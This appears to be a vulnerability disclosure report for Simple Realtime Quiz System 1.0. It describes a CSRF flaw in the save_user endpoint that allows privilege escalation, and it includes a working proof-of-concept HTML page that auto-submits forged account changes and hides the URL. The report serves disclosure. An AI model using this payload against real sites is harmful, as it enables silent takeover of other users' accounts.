[description]
Simple Realtime Quiz System was discovered to contain Cross-site request forgery(CSRF) vulnerability via the URI /ajax.php?action=save_user.
[Vulnerability Type]
Cross-site request forgery(CSRF)
[Vendor of Product]
https://www.sourcecodester.com/php/14487/simple-realtime-quiz-system-using-phpmysql-source-code.html
[Affected Product Code Base]
1.0
[Impact Escalation of Privileges]
true
[POC]
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.0.183:11180/ajax.php?action=save_user" method="POST">
<input type="hidden" name="id" value="8" />
<input type="hidden" name="name" value="Sample Student 1" />
<input type="hidden" name="username" value="student" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="type" value="2" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>